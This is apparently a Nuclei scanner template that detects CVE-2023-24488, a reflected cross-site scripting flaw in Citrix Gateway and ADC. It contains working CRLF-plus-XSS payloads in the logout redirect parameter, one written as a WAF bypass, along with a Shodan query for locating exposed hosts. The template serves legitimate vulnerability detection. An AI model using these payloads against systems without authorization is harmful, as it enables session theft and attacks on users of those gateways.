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id : CVE-2023-24488
info :
name : Citrix Gateway and Citrix ADC - Cross-Site Scripting
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author : johnk3r,DhiyaneshDk
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severity : medium
description : |
Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
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remediation : |
Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
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reference :
- https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
- https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
- https://nvd.nist.gov/vuln/detail/CVE-2023-24488
- https://twitter.com/infosec_au/status/1674786106381070342
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- https://twitter.com/bxmbn/status/1675250259608449026
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
cve-id : CVE-2023-24488
cwe-id : CWE-79
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epss-score : 0.01446
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epss-percentile : 0.85173
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cpe : cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
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metadata :
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max-request : 2
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vendor : citrix
product : gateway
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shodan-query : title:"Citrix Gateway"
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tags : cve,cve2023,citrix,xss,adc
http :
- method : GET
path :
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- '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
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- '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>'
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stop-at-first-match : true
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matchers-condition : and
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matchers :
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- type : word
part : body
words :
- <body x='&'onload="(alert)('citrix akamai bypass')">
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- <script>alert(document.domain)</script>
condition : or
- type : word
part : body
words :
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- "Content-Type: text/html"
- type : status
status :
- 302
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# digest: 490a0046304402203abcf849db44ab6ae1d3b4fb36336946bb4552a978929afeb2d896301aec1a4602201a8be21478218ea37dfbbbe90411af06c62110b8150c3b83b73c9f8ffe9b8b74:922c64590222798bb761d5b6d8e72950